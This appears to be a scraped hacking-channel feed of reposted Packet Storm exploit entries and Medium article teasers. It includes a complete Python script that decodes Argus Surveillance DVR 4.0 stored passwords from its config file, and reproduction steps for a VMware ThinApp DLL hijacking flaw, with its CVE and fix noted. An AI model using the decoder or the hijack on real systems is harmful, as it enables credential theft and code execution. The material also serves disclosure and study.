Exploit Collector
Argus Surveillance DVR 4.0 Weak Password Encryption

https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
Argus Surveillance DVR version 4.0 suffers from a weak password encryption vulnerability.

MD5 | 715481e802c71151c41b2dfa7494348c

Download
# Exploit Title: Argus Surveillance DVR 4.0 - Weak Password Encryption
# Exploit Author: Salman Asad (@deathflash1411)
# Date: 12.07.2021
# Version: Argus Surveillance DVR 4.0
# Tested on: Windows 7 x86 (Build 7601) & Windows 10
# Reference: https://deathflash1411.github.io/blog/cracking-argus-surveillance-passwords

# Note: Argus Surveillance DVR 4.0 configuration is present in
# C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini

# I'm too lazy to add special characters :P
characters = {
'ECB4':'1','B4A1':'2','F539':'3','53D1':'4','894E':'5',
'E155':'6','F446':'7','C48C':'8','8797':'9','BD8F':'0',
'C9F9':'A','60CA':'B','E1B0':'C','FE36':'D','E759':'E',
'E9FA':'F','39CE':'G','B434':'H','5E53':'I','4198':'J',
'8B90':'K','7666':'L','D08F':'M','97C0':'N','D869':'O',
'7357':'P','E24A':'Q','6888':'R','4AC3':'S','BE3D':'T',
'8AC5':'U','6FE0':'V','6069':'W','9AD0':'X','D8E1':'Y','C9C4':'Z',
'F641':'a','6C6A':'b','D9BD':'c','418D':'d','B740':'e',
'E1D0':'f','3CD9':'g','956B':'h','C875':'i','696C':'j',
'906B':'k','3F7E':'l','4D7B':'m','EB60':'n','8998':'o',
'7196':'p','B657':'q','CA79':'r','9083':'s','E03B':'t',
'AAFE':'u','F787':'v','C165':'w','A935':'x','B734':'y','E4BC':'z'}

# ASCII art is important xD
banner = '''
#########################################
# _____ Surveillance DVR 4.0 #
# / _ \_______ ____ __ __ ______ #
# / /_\ \_ __ \/ ___\| | \/ ___/ #
# / | \ | \/ /_/ > | /\___ \ #
# \____|__ /__| \___ /|____//____ > #
# \/ /_____/ \/ #
# Weak Password Encryption #
############ @deathflash1411 ############
'''
print(banner)

# Change this :)
pass_hash = "418DB740F641E03B956BE1D03F7EF6419083956BECB453D1ECB4ECB4"
if (len(pass_hash)%4) != 0:
print("[!] Error, check your password hash")
exit()
split = []
n = 4
for index in range(0, len(pass_hash), n):
split.append(pass_hash[index : index + n])

for key in split:
if key in characters.keys():
print("[+] " + key + ":" + characters[key])
else:
print("[-] " + key + ":Unknown")


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
ForgeRock Access Manager/OpenAM 14.6.3 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
OX App Suite / OX Guard / OX Documents SSRF / Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Aruba Instant 8.7.1.0 Arbitrary File Modification

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
VMware ThinApp DLL Hijacking

https://3.bp.blogspot.com/-Gb5I5b_xjQ0/WWlu86s-SoI/AAAAAAAAIJk/Vrr0JqyMe7wOp_97KyfJoVRHnDW4ZjPNwCLcBGAs/s1600/h112.png
VMware ThinApp suffered from a dll hijacking vulnerability.

MD5 | 1db2c7bddddb880c8aa2c4669670dd84

Download
A few months ago I disclosed IBM(R) Db2(R) Windows client DLL
Hijacking Vulnerability(0day) I found:
https://seclists.org/fulldisclosure/2021/Feb/73

In that post I mentioned the vulnerability did not get fully patched.

After I told IBM on hackerone that I disclosed it, hackerone asked me
to delete the post, IBM apologized and fully patched the
vulnerability.
But this is not the point today. I found a similar problem in
VMware-ThinApp-Enterprise-5.2.9-17340778.exe.

After install the software create C:\DummyTLS and rename a dll you
want to load to dummyTLS.dll and put it to C:\DummyTLS\dummyTLS.dll.

Run "C:\Program Files (x86)\VMware\VMware ThinApp\Setup Capture.exe"
and C:\DummyTLS\dummyTLS.dll will be loaded.
(other exe like log_monitor.exe/snapshot.exe vulnerable too).
This is also because they use code like:
LoadLibraryExW(L"\\DummyTLS\\dummyTLS.dll", 0, 0);

In short, Windows will treat relative path in LoadLibrary(and many
other functions) as the path rooted relative to the current disk
designator.

Let us look into code in ntdll.dll. The logic here is:
KernelBase!LoadLibraryExW->ntdll!LdrpLoadDll->ntdll!LdrpPreprocessDllName.
In LdrpPreprocessDllName after calling
RtlDetermineDosPathNameType_Ustr it will return 4(RtlPathTypeRooted).

And after calling LdrpGetFullPath we get "C:\DummyTLS\dummyTLS.dll"!

You should not call LoadLibrary with the relative path. In fact, using
relative path is dangerous in many cases.
This was fixed in 2021-07-13 as CVE-2021-22000 and the advisory is
here : https://www.vmware.com/security/advisories/VMSA-2021-0015.html.
For these vulnerabilities I will post a summary at https://houjingyi233.com.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Sx : Fast, Modern, Easy-To-Use Network Scanner

sx is the command-line network scanner designed to follow the UNIX philosophy. The goal of this project is to create the fastest network scanner with clean and simple code. Features ⚡ 30x times faster than nmap ARP scan: Scan your local networks to detect live devices ICMP scan: Use advanced ICMP scanning techniques to detect live hosts and […]

The post Sx : Fast, Modern, Easy-To-Use Network Scanner appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Account Take Over with HTTP Pollution Attack at Reset Password Functionality

First of all, this is my first write up about finding or bug when I work as cyber security. and also I try to write this post with English…Continue reading on Medium »
Read more...

Hacking APIs: Types and Architectures

Understanding APIs and their weaknessesContinue reading on Medium »
Read more...

Hacking on Medium
Hacking APIs: Types and Architectures

https://cdn-images-1.medium.com/max/600/0*u1zLzTp6YKib7Grm.png
Understanding APIs and their weaknesses

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe — Daily Bugle Writeup

https://cdn-images-1.medium.com/max/978/1*ZQXVdW74_2xzoOCTvJawgw.png
TL;DR This is a Linux box with Joomla 3.7.0 installed. This version is vulnerable to SQLi which exposes the control panel’s credentials…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
PicoCTF - Filtered Shellcode [Pwn]

https://cdn-images-1.medium.com/max/703/1*dR1gtRrgPUJPttIVaM_8TQ.png
“Filtered Shellcode” is a pwn challenge of PicoCTF.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Instant GraphQL APIs for Your Databases

https://cdn-images-1.medium.com/max/1920/1*n5LYmF6onkMWWxMUSilNtw.png
Auto-generate GraphQL APIs for your databases.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking APIs: Types and Architectures
https://thexssrat.medium.com/hacking-apis-types-and-architectures-e7f92e48924a?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Understanding APIs and their weaknessesContinue reading on Medium » (https://thexssrat.medium.com/hacking-apis-types-and-architectures-e7f92e48924a?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video